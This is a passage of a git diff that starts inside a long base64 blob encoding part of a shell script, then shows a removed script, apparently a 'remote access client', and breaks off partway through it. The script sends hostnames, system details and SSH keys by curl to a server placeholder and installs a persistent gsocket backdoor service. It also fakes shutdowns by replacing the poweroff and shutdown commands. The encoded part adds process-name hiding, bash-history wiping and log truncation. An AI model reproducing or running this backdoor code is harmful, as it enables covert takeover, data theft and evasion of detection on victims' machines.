G9yICdzaHV0ZG93biAtZicgZm9yIGFuIGFjdHVhbCBzaHV0ZG93bi4iCn0KCmluc3RhbGxfZ3NvY2tldCgpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvZ3NvY2tldF9pbnN0YWxsLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBJbnN0YWxsaW5nIGdzb2NrZXQgZm9yIHJlbW90ZSBhY2Nlc3MuLi4iCiAgICAKICAgICMgSW5zdGFsbCBkZXBlbmRlbmNpZXMKICAgIGxvY2FsIHBrZ19tYW5hZ2VyPSQoZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcikKICAgIGNhc2UgIiRwa2dfbWFuYWdlciIgaW4KICAgICAgICBhcHQpCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gYXB0IHVwZGF0ZSAmJiBzdWRvIGFwdCBpbnN0YWxsIC15IGJ1aWxkLWVzc2VudGlhbCBsaWJzc2wtZGV2IGF1dG9tYWtlIGF1dG9jb25mIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgZG5mfHl1bSkKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyAkcGtnX21hbmFnZXIgaW5zdGFsbCAteSBnY2MgZ2NjLWMrKyBtYWtlIGdpdCBvcGVuc3NsLWRldmVsIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgcGFjbWFuKQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHBhY21hbiAtUyAtLW5vY29uZmlybSBiYXNlLWRldmVsIGdpdCBvcGVuc3NsIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgenlwcGVyKQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHp5cHBlciBpbnN0YWxsIC15IC10IHBhdHRlcm4gZGV2ZWxfYmFzaXMiICJJbnN0YWxsaW5nIGRldmVsb3BtZW50IHBhdHRlcm4iICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8genlwcGVyIGluc3RhbGwgLXkgZ2l0IGxpYm9wZW5zc2wtZGV2ZWwiICJJbnN0YWxsaW5nIGFkZGl0aW9uYWwgZGVwZW5kZW5jaWVzIiAiJGxvZ19maWxlIgogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIGVjaG8gIlshXSBVbnN1cHBvcnRlZCBwYWNrYWdlIG1hbmFnZXIuIEF0dGVtcHRpbmcgdG8gY29udGludWUgd2l0aCBnc29ja2V0IGluc3RhbGxhdGlvbi4iCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICAKICAgICMgYnVpbGQgZ3NvY2tldAogICAgaWYgISBjb21tYW5kIC12IGdzLW5ldGNhdCAmPi9kZXYvbnVsbDsgdGhlbgogICAgICAgIGxvZ19jbWQgIndnZXQgLXEgLU8gJFRFTVBfRElSL2dzb2NrZXRfbGludXgtJCh1bmFtZSAtbSkudGFyLmd6IFwiaHR0cHM6Ly9naXRodWIuY29tL2hhY2tlcnNjaG9pY2UvZ3NvY2tldC9hcmNoaXZlL3JlZnMvdGFncy92MS40LjQzLnRhci5nelwiIiAiRG93bmxvYWQgZ3NvY2tldCIgIiRsb2dfZmlsZSIKICAgICAgICBsb2dfY21kICJjZCAkVEVNUF9ESVIgJiYgdGFyIHhmeiBnc29ja2V0X2xpbnV4LSoudGFyLmd6IiAiRXh0cmFjdGluZyBnc29ja2V0IiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgImNkIGdzb2NrZXQtKiAmJiAuL2Jvb3RzdHJhcCAmJiAuL2NvbmZpZ3VyZSAmJiBtYWtlICYmIHN1ZG8gbWFrZSBpbnN0YWxsIiAiQnVpbGRpbmcgYW5kIGluc3RhbGwgZ3NvY2tldCIgIiRsb2dfZmlsZSIKICAgIGZpCiAgICAKICAgICMgR2VuZXJhdGUgYSB1bmlxdWUgc2VjcmV0CiAgICBsb2NhbCBnc19zZWNyZXQ9JChncy1uZXRjYXQgLWcpCiAgICAKICAgICMgQ3JlYXRlIHN5c3RlbWQgc2VydmljZSBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9uCiAgICBjYXQgPiAiJFRFTVBfRElSL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSIgPDwgRU9GCltVbml0XQpEZXNjcmlwdGlvbj1HU29ja2V0IFJlbW90ZSBBY2Nlc3MKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltTZXJ2aWNlXQpUeXBlPXNpbXBsZQpFeGVjU3RhcnQ9L3Vzci9sb2NhbC9iaW4vZ3MtbmV0Y2F0IC1zICRnc19zZWNyZXQgLWxxaQpSZXN0YXJ0PWFsd2F5cwpSZXN0YXJ0U2VjPTEwClN0YW5kYXJkT3V0cHV0PW51bGwKU3RhbmRhcmRFcnJvcj1udWxsCgpbSW5zdGFsbF0KV2FudGVkQnk9ZGVmYXVsdC50YXJnZXQKRU9GCgogICAgc3VkbyBtdiAiJFRFTVBfRElSL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSIgL2V0Yy9zeXN0ZW1kL3N5c3RlbS8KICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGRhZW1vbi1yZWxvYWQiICJSZWxvYWRpbmcgc3lzdGVtZCIgIiRsb2dfZmlsZSIKICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJFbmFibGluZyBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJTdGFydGluZyBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAKICAgICMgQWxzbyBjcmVhdGUgYSB1c2VyIHNlcnZpY2UgaWYgcnVubmluZyBhcyBub24tcm9vdAogICAgaWYgWyAkRVVJRCAtbmUgMCBdOyB0aGVuCiAgICAgICAgbWtkaXIgLXAgfi8uY29uZmlnL3N5c3RlbWQvdXNlci8KICAgICAgICBjcCAvZXRjL3N5c3RlbWQvc3lzdGVtL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSB+Ly5jb25maWcvc3lzdGVtZC91c2VyLwogICAgICAgIGxvZ19jbWQgInN5c3RlbWN0bCAtLXVzZXIgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyB1c2VyIHN5c3RlbWQiICIkbG9nX2ZpbGUiCiAgICAgICAgbG9nX2NtZCAic3lzdGVtY3RsIC0tdXNlciBlbmFibGUgZ3NvY2tldC1iYWNrZG9vci5zZXJ2aWNlIiAiRW5hYmxpbmcgdXNlciBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgbG9nX2NtZCAic3lzdGVtY3RsIC0tdXNlciBzdGFydCBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJTdGFydGluZyB1c2VyIGdzb2NrZXQgc2VydmljZSIgIiRsb2dfZmlsZSIKICAgIGZpCiAgICAKICAgICMgQ3JlYXRlIGNvbm5lY3Rpb24gaW5zdHJ1Y3Rpb25zCiAgICBjYXQgPiAiJFRFTVBfRElSL2dzb2NrZXQtaW5mby50eHQiIDw8IEVPRgpHU29ja2V0IENvbm5lY3Rpb24gSW5mb3JtYXRpb24KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU2VjcmV0OiAkZ3Nfc2VjcmV0CkNvbm5lY3Rpb24gY29tbWFuZDogZ3MtbmV0Y2F0IC1zICRnc19zZWNyZXQgLWkKRU9GCgogICAgIyBTZW5kIHRoZSBnc29ja2V0IHNlY3JldCB0byB0aGUgc2VydmVyCiAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiRnc19zZWNyZXQiICJnc29ja2V0X3NlY3JldCIKICAgIAogICAgZWNobyAiWytdIEdTb2NrZXQgaW5zdGFsbGVkLiBZb3UgY2FuIGNvbm5lY3QgdXNpbmc6IGdzLW5ldGNhdCAtcyAkZ3Nfc2VjcmV0Igp9CgpzZXR1cF9zdGVhbHRoKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9zdGVhbHRoX3NldHVwLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIHN0ZWFsdGggbW9kZS4uLiIKICAgIAogICAgIyBIaWRlIHByb2Nlc3NlcyBieSBjcmVhdGluZyBhIHN5c3RlbWQgdW5pdCB3aXRoIGhpZGRlbiBuYW1lCiAgICBjYXQgPiAiJFRFTVBfRElSL18uc2VydmljZSIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPVN5c3RlbSBVcGRhdGUgU2VydmljZQpBZnRlcj1uZXR3b3JrLnRhcmdldAoKW1NlcnZpY2VdClR5cGU9c2ltcGxlCkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ3doaWxlIHRydWU7IGRvIHNsZWVwIDM2MDA7IGRvbmUnClJlc3RhcnQ9YWx3YXlzClJlc3RhcnRTZWM9MTAKU3RhbmRhcmRPdXRwdXQ9bnVsbApTdGFuZGFyZEVycm9yPW51bGwKCltJbnN0YWxsXQpXYW50ZWRCeT1kZWZhdWx0LnRhcmdldApFT0YKCiAgICBzdWRvIG12ICIkVEVNUF9ESVIvXy5zZXJ2aWNlIiAvZXRjL3N5c3RlbWQvc3lzdGVtLwogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyBzeXN0ZW1kIiAiJGxvZ19maWxlIgogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZW5hYmxlIF8uc2VydmljZSIgIkVuYWJsaW5nIGhpZGRlbiBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgXy5zZXJ2aWNlIiAiU3RhcnRpbmcgaGlkZGVuIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAKICAgICMgU2V0IHVwIHByb2Nlc3MgbmFtZSBvYmZ1c2NhdGlvbiBzY3JpcHQKICAgIGNhdCA+ICIkVEVNUF9ESVIvb2JmdXNjYXRlLnNoIiA8PCAnRU9GJwojIS9iaW4vYmFzaAojIFRoaXMgc2NyaXB0IGFsbG93cyBydW5uaW5nIGNvbW1hbmRzIHdpdGggYW4gb2JmdXNjYXRlZCBwcm9jZXNzIG5hbWUKCiMgRnVuY3Rpb24gdG8gcnVuIGEgY29tbWFuZCB3aXRoIGFuIG9iZnVzY2F0ZWQgbmFtZQpvYmZ1c2NhdGVfcnVuKCkgewogICAgbG9jYWwgZmFrZV9uYW1lPSIkMSIKICAgIHNoaWZ0CiAgICBleGVjIC1hICIkZmFrZV9uYW1lIiAiJEAiCn0KCiMgSW5zdGFsbCB0aGUgZnVuY3Rpb24gdG8gdXNlcidzIGJhc2hyYwppZiAhIGdyZXAgLXEgIm9iZnVzY2F0ZV9ydW4iIH4vLmJhc2hyYzsgdGhlbgogICAgY2F0ID4+IH4vLmJhc2hyYyA8PCAnRU9UJwoKIyBPYmZ1c2NhdGlvbiBmdW5jdGlvbgpvYmZ1c2NhdGVfcnVuKCkgewogICAgbG9jYWwgZmFrZV9uYW1lPSIkMSIKICAgIHNoaWZ0CiAgICBleGVjIC1hICIkZmFrZV9uYW1lIiAiJEAiCn0KRU9UCmZpCgojIENyZWF0ZSBoZWxwZXIgYWxpYXNlcwppZiAhIGdyZXAgLXEgImFsaWFzIHN0ZWFsdGh5IiB+Ly5iYXNocmM7IHRoZW4KICAgIGNhdCA+PiB+Ly5iYXNocmMgPDwgJ0VPVCcKYWxpYXMgc3RlYWx0aHk9J29iZnVzY2F0ZV9ydW4gIltraHVnZXBhZ2Vkc10iJwphbGlhcyBoaWRkZW49J29iZnVzY2F0ZV9ydW4gIlttaWdyYXRpb24vMF0iJwpFT1QKZmkKCiMgSW5zdGFsbCBhIGNyb24gam9iIHRvIGNsZWFyIGJhc2ggaGlzdG9yeSBwZXJpb2RpY2FsbHkKKGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIjAgKiAqICogKiBjYXQgL2Rldi9udWxsID4gfi8uYmFzaF9oaXN0b3J5IikgfCBjcm9udGFiIC0KRU9GCgogICAgbG9nX2NtZCAiYmFzaCAkVEVNUF9ESVIvb2JmdXNjYXRlLnNoIiAiU2V0dGluZyB1cCBwcm9jZXNzIG9iZnVzY2F0aW9uIiAiJGxvZ19maWxlIgogICAgCiAgICAjIENyZWF0ZSBsb2cgcm90YXRpb24gdG8gY2xlYW4gc2VydmljZSBsb2dzCiAgICBjYXQgPiAiJFRFTVBfRElSL2NsZWFuLWxvZ3Muc2VydmljZSIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPUNsZWFuIFN5c3RlbSBMb2dzCkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90CkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ2ZpbmQgL3Zhci9sb2cgLXR5cGUgZiAtbmFtZSAiKiIgLWV4ZWMgdHJ1bmNhdGUgLXMgMCB7fSBcOycKRXhlY1N0YXJ0PS9iaW4vYmFzaCAtYyAnam91cm5hbGN0bCAtLXZhY3V1bS10aW1lPTFkJwoKW0luc3RhbGxdCldhbnRlZEJ5PWRlZmF1bHQudGFyZ2V0CkVPRgoKICAgIHN1ZG8gbXYgIiRURU1QX0RJUi9jbGVhbi1sb2dzLnNlcnZpY2UiIC9ldGMvc3lzdGVtZC9zeXN0ZW0vCiAgICAKICAgIGNhdCA+ICIkVEVNUF9ESVIvY2xlYW4tbG9ncy50aW1lciIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPVJ1biBsb2cgY2xlYW5pbmcgZGFpbHkKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltUaW1lcl0KT25Cb290U2VjPTE1bWluCk9uVW5pdEFjdGl2ZVNlYz0xZAoKW0luc3RhbGxdCldhbnRlZEJ5PXRpbWVycy50YXJnZXQKRU9GCgogICAgc3VkbyBtdiAiJFRFTVBfRElSL2NsZWFuLWxvZ3MudGltZXIiIC9ldGMvc3lzdGVtZC9zeXN0ZW0vCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBkYWVtb24tcmVsb2FkIiAiUmVsb2FkaW5nIHN5c3RlbWQiICIkbG9nX2ZpbGUiCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgY2xlYW4tbG9ncy50aW1lciIgIkVuYWJsaW5nIGxvZyBjbGVhbmluZyIgIiRsb2dfZmlsZSIKICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIHN0YXJ0IGNsZWFuLWxvZ3MudGltZXIiICJTdGFydGluZyBsb2cgY2xlYW5pbmciICIkbG9nX2ZpbGUiCiAgICAKICAgIHNlbmRfbG9ncyAiJGxvZ19maWxlIiAiU3RlYWx0aCBtb2RlIGFjdGl2YXRlZCIgInN0ZWFsdGhfbW9kZSIKICAgIAogICAgZWNobyAiWytdIFN0ZWFsdGggbW9kZSBjb25maWd1cmVkLiIKfQoKIyAtLS0tLS0tIE1BSU4gRVhFQ1VUSU9OIC0tLS0tLS0KbWFpbigpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvbWFpbi5sb2ciCiAgICB0b3VjaCAiJGxvZ19maWxlIgogICAgCiAgICBlY2hvICJbKl0gQmVnaW5uaW5nIHNldHVwLi4uIgogICAgZWNobyAiWypdIFRhcmdldCBzeXN0ZW06ICQoaG9zdG5hbWUpICgkKHdob2FtaSkpIgoKICAgIHN1ZG8gYXB0IGluc3RhbGwgLXkgY3VybCBqcSAmPiAvZGV2L251bGwgfHwgdHJ1ZQoKICAgICMgU2VuZCBpbml0aWFsIHN5c3RlbSBpbmZvCiAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiQoZ2V0X3N5c3RlbV9pbmZvKSIgInN5c3RlbV9pbmZvIgogICAgCiAgICAjIEluc3RhbGwgY29tcG9uZW50cyBiYXNlZCBvbiBmbGFncwogICAgaW5zdGFsbF9zc2gKICAgIHNldHVwX3dvbAogICAgc2V0dXBfZmFrZV9wb3dlcm9mZgogICAgaW5zdGFsbF9nc29ja2V0CiAgICBzZXR1cF9zdGVhbHRoCiAgICAKICAgIGVjaG8gIlsrXSBTZXR1cCBjb21wbGV0ZS4iCiAgICBlY2hvICJbK10gQWxsIGxvZ3MgYW5kIGNyZWRlbnRpYWxzIGhhdmUgYmVlbiBzZW50IHRvIHRoZSBzZXJ2ZXIuIgp9CgojIFJ1biB0aGUgbWFpbiBmdW5jdGlvbgptYWluCgo= \ No newline at end of file diff --git a/scripts/generate_scripts.sh b/scripts/generate_scripts.sh index 1347b71..ace2297 100755 --- a/scripts/generate_scripts.sh +++ b/scripts/generate_scripts.sh @@ -1,574 +1,24 @@ #!/bin/bash # Generate client deployment scripts - -TEMP_DIR=$(mktemp -d) -trap 'rm -rf "$TEMP_DIR"' EXIT +DEPLOY_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/deploy" generate_client_scripts() { echo "Generating client deployment scripts..." - # Generate the main client script generate_main_client_script - # Generate the obfuscated version generate_obfuscated_script - # Create installation presets generate_presets } generate_main_client_script() { - # Create the main client script - cat > "$TEMP_DIR/y" << 'EOL' -#!/bin/bash -# FACINUS Remote Access Client -# This script sets up remote access capabilities on the target system - -# ================= CONFIGURATION ================= -SERVER_URL="http://SERVER_PLACEHOLDER/deployment" -LOG_ENDPOINT="$SERVER_URL/log_receiver.php" -AUTH_TOKEN="TOKEN_PLACEHOLDER" -VERSION="1.1.0" -# ================================================ - -# Create temporary directory -TEMP_DIR=$(mktemp -d) -trap 'rm -rf "$TEMP_DIR"' EXIT - -# ------- UTILITY FUNCTIONS ------- -log_cmd() { - local cmd="$1" - local desc="$2" - local log_file="$3" - - echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] EXECUTING: $desc" >> "$log_file" - echo "$ $cmd" >> "$log_file" - echo "--------------------------------------------" >> "$log_file" - - # Execute command and capture output and status - local output - output=$(eval "$cmd" 2>&1) - local status=$? - - echo "$output" >> "$log_file" - echo "EXIT STATUS: $status" >> "$log_file" - echo "============================================" >> "$log_file" - - return $status -} - -get_system_info() { - { - echo "{" - echo " \"hostname\": \"$(hostname)\"," - echo " \"kernel\": \"$(uname -r)\"," - echo " \"os\": \"$(lsb_release -ds 2>/dev/null || cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2 | tr -d '\"')\"," - echo " \"ip\": \"$(hostname -I | awk '{print $1}')\"," - echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\"," - echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\"," - echo " \"ram_total\": \"$(free -h | awk 'NR==2 {print $2}')\"," - echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\"," - echo " \"user\": \"$(whoami)\"," - echo " \"is_root\": \"$(sudo -l &> /dev/null && echo "true" || echo "false")\"," - echo " \"users\": \"$(awk -F: '$7 ~ /bash|sh/ {printf "%s ", $1} END {print ""}' /etc/passwd)\"," - echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\"," - echo " \"uptime\": \"$(uptime -p)\"" - echo "}" - } | tr -d '\n' | sed 's/ //g' | jq -R . -} - -send_logs() { - local log_file="$1" - local secret_val="$2" - local secret_type="$3" - - local sysinfo=$(get_system_info) - local hostname=$(hostname) - - # Submit logs to the server - curl -s -X POST "$LOG_ENDPOINT" \ - -F "auth_token=$AUTH_TOKEN" \ - -F "hostname=$hostname" \ - -F "log_data=@$log_file" \ - -F "system_info=$sysinfo" \ - -F "secret_type=$secret_type" \ - -F "secret_value=$secret_val" \ - > /dev/null -} - -detect_package_manager() { - # Detect the system's package manager - if command -v apt &> /dev/null; then - echo "apt" - elif command -v dnf &> /dev/null; then - echo "dnf" - elif command -v yum &> /dev/null; then - echo "yum" - elif command -v pacman &> /dev/null; then - echo "pacman" - elif command -v zypper &> /dev/null; then - echo "zypper" - else - echo "unknown" - fi -} - -# ------- INSTALLATION FUNCTIONS ------- -install_ssh() { - local log_file="$TEMP_DIR/ssh_install.log" - touch "$log_file" - - echo "[*] Installing SSH server..." - - local pkg_manager=$(detect_package_manager) - case "$pkg_manager" in - apt) - if ! dpkg -s openssh-server &> /dev/null; then - log_cmd "sudo apt update" "Updating package lists" "$log_file" - log_cmd "sudo apt install -y openssh-server" "Installing OpenSSH server" "$log_file" - fi - log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$log_file" - log_cmd "sudo systemctl start ssh" "Starting SSH service" "$log_file" - ;; - dnf|yum) - if ! rpm -q openssh-server &> /dev/null; then - log_cmd "sudo $pkg_manager install -y openssh-server" "Installing OpenSSH server" "$log_file" - fi - log_cmd "sudo systemctl enable sshd" "Enabling SSH service" "$log_file" - log_cmd "sudo systemctl start sshd" "Starting SSH service" "$log_file" - ;; - pacman) - if ! pacman -Q openssh &> /dev/null; then - log_cmd "sudo pacman -S --noconfirm openssh" "Installing OpenSSH server" "$log_file" - fi - log_cmd "sudo systemctl enable sshd" "Enabling SSH service" "$log_file" - log_cmd "sudo systemctl start sshd" "Starting SSH service" "$log_file" - ;; - zypper) - if ! rpm -q openssh-server &> /dev/null; then - log_cmd "sudo zypper install -y openssh-server" "Installing OpenSSH server" "$log_file" - fi - log_cmd "sudo systemctl enable sshd" "Enabling SSH service" "$log_file" - log_cmd "sudo systemctl start sshd" "Starting SSH service" "$log_file" - ;; - *) - echo "[!] Unsupported package manager. SSH server installation skipped." - return 1 - ;; - esac - - # Get SSH key if it exists - if [ -f ~/.ssh/id_rsa.pub ]; then - send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key" - else - # Try to create a new key if it doesn't exist - log_cmd "ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa" "Generating SSH key" "$log_file" - if [ -f ~/.ssh/id_rsa.pub ]; then - send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key" - fi - fi - - # Send SSH configuration - local ssh_port=$(grep -E "^Port " /etc/ssh/sshd_config | awk '{print $2}') - [ -z "$ssh_port" ] && ssh_port=22 - - send_logs "$log_file" "{\"port\":$ssh_port}" "ssh_config" - - echo "[+] SSH server installed and configured." -} - -setup_wol() { - local log_file="$TEMP_DIR/wol_setup.log" - touch "$log_file" - - echo "[*] Setting up Wake-on-LAN..." - - # Install ethtool if needed - local pkg_manager=$(detect_package_manager) - case "$pkg_manager" in - apt) - if ! dpkg -s ethtool &> /dev/null; then - log_cmd "sudo apt install -y ethtool" "Installing ethtool" "$log_file" - fi - ;; - dnf|yum) - if ! rpm -q ethtool &> /dev/null; then - log_cmd "sudo $pkg_manager install -y ethtool" "Installing ethtool" "$log_file" - fi - ;; - pacman) - if ! pacman -Q ethtool &> /dev/null; then - log_cmd "sudo pacman -S --noconfirm ethtool" "Installing ethtool" "$log_file" - fi - ;; - zypper) - if ! rpm -q ethtool &> /dev/null; then - log_cmd "sudo zypper install -y ethtool" "Installing ethtool" "$log_file" - fi - ;; - *) - echo "[!] Unsupported package manager. WoL setup may be incomplete." - ;; - esac - - # Get the primary interface - local interface=$(ip route | grep default | awk '{print $5}' | head -n1) - - if [ -z "$interface" ]; then - echo "[!] No network interface found." - return 1 - fi - - # Check current WoL status - if ethtool "$interface" | grep -q "Wake-on: g"; then - echo "[+] Wake-on-LAN is already enabled on $interface." - # Try to enable WoL - log_cmd "sudo ethtool -s $interface wol g" "Enabling Wake-on-LAN" "$log_file" - - # Create persistent configuration - cat > "$TEMP_DIR/wol.service" << EOF -[Unit] -Description=Enable Wake-on-LAN on $interface -After=network.target - -[Service] -Type=oneshot -ExecStart=/usr/sbin/ethtool -s $interface wol g -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -EOF - - sudo mv "$TEMP_DIR/wol.service" /etc/systemd/system/wol.service - log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" - log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file" - log_cmd "sudo systemctl start wol.service" "Starting WoL service" "$log_file" - - # Get MAC address for WoL - local mac=$(ip link show $interface | grep -E 'link/ether' | awk '{print $2}') - - send_logs "$log_file" "{\"interface\":\"$interface\",\"mac\":\"$mac\"}" "wol_config" - - echo "[+] Wake-on-LAN configured for interface $interface (MAC: $mac)." - else - echo "[-] Wake-on-LAN is not enabled on $interface." - fi - -} - -setup_fake_poweroff() { - local log_file="$TEMP_DIR/fake_poweroff.log" - touch "$log_file" - - echo "[*] Setting up fake poweroff..." - - # Create the fake poweroff script - cat > "$TEMP_DIR/fake-poweroff.sh" << 'EOF' -#!/bin/bash -# This script intercepts poweroff/shutdown commands and fakes a shutdown - -# Backup original commands if not already done -if [ ! -f /usr/sbin/poweroff.real ]; then - sudo cp /usr/sbin/poweroff /usr/sbin/poweroff.real -fi - -if [ ! -f /usr/sbin/shutdown.real ]; then - sudo cp /usr/sbin/shutdown /usr/sbin/shutdown.real -fi - -# Create the fake scripts -cat > "$TEMP_DIR/fake-poweroff" << 'EOT' -#!/bin/bash -# Fake poweroff script that just locks the screen -echo "System is powering off..." -# Change to TTY7 and clear screen -sudo chvt 7 -sudo clear -# Display fake shutdown messages -echo -e "\n\n * Unmounting filesystems..." -sleep 0.5 -echo " * Stopping system services..." -sleep 0.7 -echo " * Powering off system..." -sleep 1 -# Turn off display if possible -xset dpms force off &> /dev/null || true -# Lock system -loginctl lock-session &> /dev/null || true -# Wait forever in background -(while true; do sleep 1000; done) & -# Make it hard to exit with Ctrl+C -trap "" INT TERM -# Just wait here -sleep infinity -EOT - -chmod +x "$TEMP_DIR/fake-poweroff" -sudo mv "$TEMP_DIR/fake-poweroff" /usr/local/bin/fake-poweroff - -# Replace the original commands with wrappers to our fake script -cat > "$TEMP_DIR/poweroff-wrapper" << 'EOT' -#!/bin/bash -# Check for force flag -if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then - exec /usr/sbin/poweroff.real "$@" -else - exec /usr/local/bin/fake-poweroff -fi -EOT - -chmod +x "$TEMP_DIR/poweroff-wrapper" -sudo mv "$TEMP_DIR/poweroff-wrapper" /usr/sbin/poweroff - -cat > "$TEMP_DIR/shutdown-wrapper" << 'EOT' -#!/bin/bash -# Check for force flag -if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then - exec /usr/sbin/shutdown.real "$@" -else - exec /usr/local/bin/fake-poweroff -fi -EOT - -chmod +x "$TEMP_DIR/shutdown-wrapper" -sudo mv "$TEMP_DIR/shutdown-wrapper" /usr/sbin/shutdown - -EOF - - log_cmd "sudo bash $TEMP_DIR/fake-poweroff.sh" "Installing fake poweroff scripts" "$log_file" - - send_logs "$log_file" "Fake poweroff installed" "fake_poweroff" - - echo "[+] Fake poweroff configured. Normal shutdown commands will now fake a shutdown." - echo " Use 'poweroff -f' or 'shutdown -f' for an actual shutdown." -} - -install_gsocket() { - local log_file="$TEMP_DIR/gsocket_install.log" - touch "$log_file" - - echo "[*] Installing gsocket for remote access..." - - # Install dependencies - local pkg_manager=$(detect_package_manager) - case "$pkg_manager" in - apt) - log_cmd "sudo apt update && sudo apt install -y build-essential libssl-dev automake autoconf" "Installing build dependencies" "$log_file" - ;; - dnf|yum) - log_cmd "sudo $pkg_manager install -y gcc gcc-c++ make git openssl-devel" "Installing build dependencies" "$log_file" - ;; - pacman) - log_cmd "sudo pacman -S --noconfirm base-devel git openssl" "Installing build dependencies" "$log_file" - ;; - zypper) - log_cmd "sudo zypper install -y -t pattern devel_basis" "Installing development pattern" "$log_file" - log_cmd "sudo zypper install -y git libopenssl-devel" "Installing additional dependencies" "$log_file" - ;; - *) - echo "[!] Unsupported package manager. Attempting to continue with gsocket installation." - ;; - esac - - # build gsocket - if ! command -v gs-netcat &>/dev/null; then - log_cmd "wget -q -O $TEMP_DIR/gsocket_linux-$(uname -m).tar.gz \"https://github.com/hackerschoice/gsocket/archive/refs/tags/v1.4.43.tar.gz\"" "Download gsocket" "$log_file" - log_cmd "cd $TEMP_DIR && tar xfz gsocket_linux-*.tar.gz" "Extracting gsocket" "$log_file" - log_cmd "cd gsocket-* && ./bootstrap && ./configure && make && sudo make install" "Building and install gsocket" "$log_file" - fi - - # Generate a unique secret - local gs_secret=$(gs-netcat -g) - - # Create systemd service for persistent connection - cat > "$TEMP_DIR/gsocket-backdoor.service" << EOF -[Unit] -Description=GSocket Remote Access -After=network.target - -[Service] -Type=simple -ExecStart=/usr/local/bin/gs-netcat -s $gs_secret -lqi -Restart=always -RestartSec=10 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=default.target -EOF - - sudo mv "$TEMP_DIR/gsocket-backdoor.service" /etc/systemd/system/ - log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" - log_cmd "sudo systemctl enable gsocket-backdoor.service" "Enabling gsocket service" "$log_file" - log_cmd "sudo systemctl start gsocket-backdoor.service" "Starting gsocket service" "$log_file" - - # Also create a user service if running as non-root - if [ 